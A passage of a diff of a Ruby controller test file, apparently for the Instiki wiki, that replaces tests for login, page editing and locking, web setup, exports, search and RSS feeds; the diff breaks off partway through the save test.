'my_wiki', :action => 'show', :id => 'HomePage' - assert @controller.wiki.setup? - assert_equal 'a_password', @controller.wiki.system[:password] - assert_equal 1, @controller.wiki.webs.size - new_web = @controller.wiki.webs['my_wiki'] - assert_equal 'My Wiki', new_web.name - assert_equal 'my_wiki', new_web.address - end - - def test_create_system_already_setup - wiki_before = @controller.wiki - assert @controller.wiki.setup? - - process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki' - - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' - assert_equal wiki_before, @controller.wiki - # and no new wikis shuld be created either - assert_equal 1, @controller.wiki.webs.size - end - - - def test_create_web - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - wiki2 = @wiki.webs['wiki2'] - assert wiki2 - assert_equal 'Wiki Two', wiki2.name - assert_equal 'wiki2', wiki2.address - end - - def test_create_web_default_password - @wiki.system[:password] = nil - - process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - end - - def test_create_web_failed_authentication - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => nil, :action => 'index' - assert_nil @wiki.webs['wiki2'] - end - - - def test_edit - r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' - assert_success - assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] - end - - def test_edit_page_locked_page - @home.lock(Time.now, 'Locky') - process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' - assert_redirected_to :action => 'locked' - end - - def test_edit_page_break_lock - @home.lock(Time.now, 'Locky') - process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' - assert_success - assert @home.locked?(Time.now) - end - - def test_edit_unknown_page - process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' - assert_redirected_to :action => 'index' - end - - - def test_edit_web - process 'edit_web', 'web' => 'wiki1' - # this action simply renders a form - assert_success - end - - - def test_export_html - setup_wiki_with_three_pages - - r = process 'export_html', 'web' => 'wiki1' - - assert_success - assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal 'PK', content[0..1], 'Content is not a zip file' - end - - def test_export_markup - r = process 'export_markup', 'web' => 'wiki1' - - assert_success - assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal 'PK', content[0..1], 'Content is not a zip file' - end - - - if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX - - def test_export_pdf - r = process 'export_pdf', 'web' => 'wiki1' - assert_success - assert_equal 'application/pdf', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal '%PDF', content[0..3] - assert_equal "EOF\n", content[-4..-1] - end - - else - puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' - puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' - puts ' $INSTIKI_TEST_PDFLATEX to enable them.' - end - - - def test_export_tex - setup_wiki_with_three_pages - - r = process 'export_tex', 'web' => 'wiki1' - - assert_success - assert_equal 'application/octet-stream', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, - r.headers['Content-Disposition'] - content = r.binary_content - assert_equal '\documentclass', content[0..13], 'Content is not a TeX file' - end - - def test_feeds - process('feeds', 'web' => 'wiki1') - end - - def test_index - process('index') - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - end - - def test_index_multiple_webs - @wiki.create_web('Test Wiki 2', 'wiki2') - process('index') - assert_redirected_to :action => 'web_list' - end - - def test_index_multiple_webs_web_explicit - process('index', 'web' => 'wiki2') - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - end - - def test_index_wiki_not_initialized - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('index') - assert_redirected_to :action => 'new_system' - end - - - def test_list - setup_wiki_with_three_pages - - r = process('list', 'web' => 'wiki1') - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - assert_nil r.template_objects['category'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] - end - - - def test_locked - @home.lock(Time.now, 'Locky') - r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - assert_equal @home, r.template_objects['page'] - end - - - def test_login - r = process 'login', 'web' => 'wiki1' - assert_success - # this action goes straight to the templates - end - - - def test_new - r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') - assert_success - assert_equal 'AnonymousCoward', r.template_objects['author'] - assert_equal 'NewPage', r.template_objects['page_name'] - end - - - def test_new_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - process('new_system') - assert_success - end - - def test_new_system_system_already_initialized - assert @wiki.setup? - process('new_system') - assert_redirected_to :action => 'index' - end - - - def test_new_web - @wiki.system['password'] = 'pswd' - process 'new_web' - assert_success - end - - def test_new_web_no_password_set - @wiki.system['password'] = nil - process 'new_web' - assert_redirected_to :action => 'index' - end - - - if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX - - def test_pdf - assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' - r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - - content = r.binary_content - - assert_equal '%PDF', content[0..3] - assert_equal "EOF\n", content[-4..-1] - - assert_equal 'application/pdf', r.headers['Content-Type'] - assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, - r.headers['Content-Disposition'] - end - - end - - - def test_print - process('print', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - end - - - def test_published - @web.published = true - - r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') - - assert_success - assert_equal @home, r.template_objects['page'] - end - - - def test_published_web_not_published - @web.published = false - - r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') - - assert_redirected_to :action => 'show', :id => 'HomePage' - end - - - def test_recently_revised - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal [], r.template_objects['categories'] - assert_nil r.template_objects['category'] - assert_equal [@home], r.template_objects['pages_in_category'] - assert_equal 'the web', r.template_objects['set_name'] - assert_equal [], r.template_objects['category_links'] - end - - def test_recently_revised_with_categorized_page - page2 = @wiki.write_page('wiki1', 'Page2', - "Page2 contents.\n" + - "category: categorized", - Time.now, Author.new('AnotherAuthor', '127.0.0.2')) - - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal ['categorized'], r.template_objects['categories'] - # no category is specified in params - assert_nil r.template_objects['category'] - assert_equal [@home, page2], r.template_objects['pages_in_category'], - "Pages are not as expected: " + - r.template_objects['pages_in_category'].map {|p| p.name}.inspect - assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['categorized'], - r.template_objects['category_links'] - end - - def test_recently_revised_with_categorized_page_multiple_categories - setup_wiki_with_three_pages - - r = process('recently_revised', 'web' => 'wiki1') - assert_success - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - # no category is specified in params - assert_nil r.template_objects['category'] - assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], - "Pages are not as expected: " + - r.template_objects['pages_in_category'].map {|p| p.name}.inspect - assert_equal 'the web', r.template_objects['set_name'] - assert_equal ['animals', - 'trees'], - r.template_objects['category_links'] - end - - def test_recently_revised_with_specified_category - setup_wiki_with_three_pages - - r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') - assert_success - - assert_equal ['animals', 'trees'], r.template_objects['categories'] - # no category is specified in params - assert_equal 'animals', r.template_objects['category'] - assert_equal [@elephant], r.template_objects['pages_in_category'] - assert_equal "category 'animals'", r.template_objects['set_name'] - assert_equal ['animals', 'trees'], - r.template_objects['category_links'] - end - - - def test_remove_orphaned_pages - setup_wiki_with_three_pages - @wiki.system[:password] = 'pswd' - orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', - "Refers to [[Oak]].\n" + - "category: trees", - Time.now, Author.new('TreeHugger', '127.0.0.2')) - - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - - assert_redirected_to :action => 'list' - assert_equal [@home, @oak], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - - # Oak is now orphan, second pass should remove it - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - - # third pass does not destroy HomePage - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' - assert_equal [@home], @web.select.sort, - "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" - end - - - def test_revision - r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - - assert_success - assert_equal @home, r.template_objects['page'] - assert_equal @home.revisions[0], r.template_objects['revision'] - end - - - def test_rollback - # rollback shows a form where a revision can be edited. - # its assigns the same as or revision - r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' - - assert_success - assert_equal @home, r.template_objects['page'] - assert_equal @home.revisions[0], r.template_objects['revision'] - end - - - def test_rss_with_content - setup_wiki_with_three_pages - - r = process 'rss_with_content', 'web' => 'wiki1' - - assert_success - pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant], pages, - "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" - assert !r.template_objects['hide_description'] - end - - - def test_rss_with_headlines - setup_wiki_with_three_pages - @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', - 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) - - @request.host = 'localhost' - @request.port = 8080 - - r = process 'rss_with_headlines', 'web' => 'wiki1' - - assert_success - pages = r.template_objects['pages_by_revision'] - assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, - "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" - assert r.template_objects['hide_description'] - - xml = REXML::Document.new(r.body) - - expected_page_links = - ['http://localhost:8080/wiki1/show/HomePage', - 'http://localhost:8080/wiki1/show/Oak', - 'http://localhost:8080/wiki1/show/Elephant', - 'http://localhost:8080/wiki1/show/Title With Spaces'] - - assert_template_xpath_match '/rss/channel/link', - 'http://localhost:8080/wiki1/show/HomePage' - assert_template_xpath_match '/rss/channel/item/guid', expected_page_links - assert_template_xpath_match '/rss/channel/item/link', expected_page_links - end - - def test_save - r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', - 'author' => 'AuthorOfNewPage' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' - assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - new_page = @wiki.read_page('wiki1', 'NewPage') - assert_equal 'Contents of a new page', new_page.content - assert_equal 'AuthorOfNewPage', new_page.author - end - - def test_save_new_revision_of_existing_page - @home.lock(Time.now, 'Batman') - - r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', - 'author' => 'Batman' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value - home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size - assert_equal 'Revised HomePage', home_page.content - assert_equal 'Batman', home_page.author - assert !home_page.locked?(Time.now) - end - - def test_save_new_revision_of_existing_page - @home.lock(Time.now, 'Batman') - - r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', - 'author' => 'Batman' - - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal ['Batman'], r.cookies['author'].value - home_page = @wiki.read_page('wiki1', 'HomePage') - assert_equal [home_page], @web.pages.values - assert_equal 2, home_page.revisions.size - assert_equal 'Revised HomePage', home_page.content - assert_equal 'Batman', home_page.author - assert !home_page.locked?(Time.now) - end - - def test_save_new_revision_identical_to_last - revisions_before = @home.revisions.size - @home.lock(Time.now, 'AnAuthor') - - r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', - 'content' => @home.revisions.last.content.dup, - 'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'} - - assert_redirect_url '/wiki1/show/HomePage' - assert_flash_has :error - assert r.flash[:error].kind_of?(Instiki::ValidationError) - - revisions_after = @home.revisions.size - assert_equal revisions_before, revisions_after - assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' - end - - - def test_search - setup_wiki_with_three_pages - process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' - assert_redirected_to :action => 'show', :id => 'Oak' - end - - def test_search_multiple_results - setup_wiki_with_three_pages - - r = process 'search', 'web' => 'wiki1', 'query' => 'All about' - - assert_success - assert_equal 'All about', r.template_objects['query'] - assert_equal [@elephant, @oak], r.template_objects['results'] - end - - def test_search_zero_results - setup_wiki_with_three_pages - - r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' - - assert_success - assert_equal [], r.template_objects['results'] - end - - - def test_show_page - r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - assert_success - assert_match /First revision of the end/, r.body - end - - def test_show_page_with_multiple_revisions - @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, - Author.new('AnotherAuthor', '127.0.0.2')) - - r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') - - assert_success - assert_match /Second revision of the end/, r.body - end - - def test_show_page_nonexistant_page - process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') - assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' - end - - - def test_tex - r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - - assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + - "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + - "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + - "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + - "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + - "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + - "the HomePage end\n\n\\end{document}", r.body - end - - - def test_update_web - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', - 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert_equal 'renamed_wiki1', @web.address - assert_equal 'Renamed Wiki1', @web.name - assert_equal :markdown, @web.markup - assert_equal 'blue', @web.color - assert @web.safe_mode - assert_equal 'new_password', @web.password - assert @web.published - assert @web.brackets_only - assert @web.count_pages - assert @web.allow_uploads - end - - def test_update_web_opposite_values - @wiki.system[:password] = 'pswd' - - process('update_web', 'system_password' => 'pswd', - 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', - 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', - 'password' => 'new_password') - # safe_mode, published, brackets_only, count_pages, allow_uploads not set - # and should become false - - assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' - assert !@web.safe_mode - assert !@web.published - assert !@web.brackets_only - assert !@web.count_pages - assert !@web.allow_uploads - end - - def test_web_list - another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') - - r = process('web_list') - - assert_success - assert_equal [another_wiki, @web], r.template_objects['webs'] - end - -end +#!/bin/env ruby -w + +# Uncomment the line below to enable pdflatex tests; don't forget to comment them again +# commiting to SVN +$INSTIKI_TEST_PDFLATEX = true + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Raise errors beyond the default web-based presentation +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class WikiControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'pswd') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['pswd'], r.cookies['web_address'] + end + + def test_authenticate + @web.password = 'pswd' + + r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') + assert_redirected_to :action => 'login' + assert_nil r.cookies['web_address'] + end + + + def test_authors + setup_wiki_with_three_pages + @wiki.write_page('wiki1', 'BreakSortingOrder', + "This page breaks the accidentally correct sorting order of authors", + Time.now, Author.new('BreakingTheOrder', '127.0.0.2')) + + r = process('authors', 'web' => 'wiki1') + + assert_success + assert_equal ['AnAuthor', 'BreakingTheOrder', 'Guest', 'TreeHugger'], + r.template_objects['authors'] + end + + + def test_cancel_edit + setup_wiki_with_three_pages + @oak.lock(Time.now, 'Locky') + assert @oak.locked?(Time.now) + + r = process('cancel_edit', 'web' => 'wiki1', 'id' => 'Oak') + + assert_redirected_to :action => 'show', :id => 'Oak' + assert !@oak.locked?(Time.now) + end + + + def test_create_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + assert !@controller.wiki.setup? + + process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki') + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert @controller.wiki.setup? + assert_equal 'a_password', @controller.wiki.system[:password] + assert_equal 1, @controller.wiki.webs.size + new_web = @controller.wiki.webs['my_wiki'] + assert_equal 'My Wiki', new_web.name + assert_equal 'my_wiki', new_web.address + end + + def test_create_system_already_setup + wiki_before = @controller.wiki + assert @controller.wiki.setup? + + process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki' + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert_equal wiki_before, @controller.wiki + # and no new wikis shuld be created either + assert_equal 1, @controller.wiki.webs.size + end + + + def test_create_web + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + wiki2 = @wiki.webs['wiki2'] + assert wiki2 + assert_equal 'Wiki Two', wiki2.name + assert_equal 'wiki2', wiki2.address + end + + def test_create_web_default_password + @wiki.system[:password] = nil + + process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_create_web_failed_authentication + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => nil, :action => 'index' + assert_nil @wiki.webs['wiki2'] + end + + + def test_edit + r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_success + assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] + end + + def test_edit_page_locked_page + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_redirected_to :action => 'locked' + end + + def test_edit_page_break_lock + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' + assert_success + assert @home.locked?(Time.now) + end + + def test_edit_unknown_page + process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' + assert_redirected_to :action => 'index' + end + + + def test_edit_web + process 'edit_web', 'web' => 'wiki1' + # this action simply renders a form + assert_success + end + + + def test_export_html + setup_wiki_with_three_pages + + r = process 'export_html', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + end + + def test_export_markup + r = process 'export_markup', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + end + + + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_export_pdf + r = process 'export_pdf', 'web' => 'wiki1' + assert_success + assert_equal 'application/pdf', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + end + + else + puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' + puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' + puts ' $INSTIKI_TEST_PDFLATEX to enable them.' + end + + + def test_export_tex + setup_wiki_with_three_pages + + r = process 'export_tex', 'web' => 'wiki1' + + assert_success + assert_equal 'application/octet-stream', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '\documentclass', content[0..13], 'Content is not a TeX file' + end + + def test_feeds + process('feeds', 'web' => 'wiki1') + end + + def test_index + process('index') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + end + + def test_index_multiple_webs + @wiki.create_web('Test Wiki 2', 'wiki2') + process('index') + assert_redirected_to :action => 'web_list' + end + + def test_index_multiple_webs_web_explicit + process('index', 'web' => 'wiki2') + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_index_wiki_not_initialized + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('index') + assert_redirected_to :action => 'new_system' + end + + + def test_list + setup_wiki_with_three_pages + + r = process('list', 'web' => 'wiki1') + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] + end + + + def test_locked + @home.lock(Time.now, 'Locky') + r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_login + r = process 'login', 'web' => 'wiki1' + assert_success + # this action goes straight to the templates + end + + + def test_new + r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') + assert_success + assert_equal 'AnonymousCoward', r.template_objects['author'] + assert_equal 'NewPage', r.template_objects['page_name'] + end + + + def test_new_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('new_system') + assert_success + end + + def test_new_system_system_already_initialized + assert @wiki.setup? + process('new_system') + assert_redirected_to :action => 'index' + end + + + def test_new_web + @wiki.system['password'] = 'pswd' + process 'new_web' + assert_success + end + + def test_new_web_no_password_set + @wiki.system['password'] = nil + process 'new_web' + assert_redirected_to :action => 'index' + end + + + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_pdf + assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' + r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + content = r.binary_content + + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + + assert_equal 'application/pdf', r.headers['Content-Type'] + assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + end + + end + + + def test_print + process('print', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + end + + + def test_published + @web.published = true + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_published_web_not_published + @web.published = false + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_redirected_to :action => 'show', :id => 'HomePage' + end + + + def test_recently_revised + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal [], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal [@home], r.template_objects['pages_in_category'] + assert_equal 'the web', r.template_objects['set_name'] + assert_equal [], r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page + page2 = @wiki.write_page('wiki1', 'Page2', + "Page2 contents.\n" + + "category: categorized", + Time.now, Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['categorized'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@home, page2], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['categorized'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page_multiple_categories + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['animals', + 'trees'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_specified_category + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_equal 'animals', r.template_objects['category'] + assert_equal [@elephant], r.template_objects['pages_in_category'] + assert_equal "category 'animals'", r.template_objects['set_name'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + end + + + def test_remove_orphaned_pages + setup_wiki_with_three_pages + @wiki.system[:password] = 'pswd' + orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + "Refers to [[Oak]].\n" + + "category: trees", + Time.now, Author.new('TreeHugger', '127.0.0.2')) + + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + + assert_redirected_to :action => 'list' + assert_equal [@home, @oak], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + + # Oak is now orphan, second pass should remove it + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + # third pass does not destroy HomePage + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + end + + + def test_revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rollback + # rollback shows a form where a revision can be edited. + # its assigns the same as or revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rss_with_content + setup_wiki_with_three_pages + + r = process 'rss_with_content', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert !r.template_objects['hide_description'] + end + + + def test_rss_with_headlines + setup_wiki_with_three_pages + @title_with_spaces = @wiki.write_page('wiki1', 'Title With Spaces', + 'About spaces', 1.hour.ago, Author.new('TreeHugger', '127.0.0.2')) + + @request.host = 'localhost' + @request.port = 8080 + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant, @title_with_spaces], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert r.template_objects['hide_description'] + + xml = REXML::Document.new(r.body) + + expected_page_links = + ['http://localhost:8080/wiki1/show/HomePage', + 'http://localhost:8080/wiki1/show/Oak', + 'http://localhost:8080/wiki1/show/Elephant', + 'http://localhost:8080/wiki1/show/Title With Spaces'] + + assert_template_xpath_match '/rss/channel/link', + 'http://localhost:8080/wiki1/show/HomePage' + assert_template_xpath_match '/rss/channel/item/guid', expected_page_links + assert_template_xpath_match '/rss/channel/item/link', expected_page_links + end + + def test_save + r = process 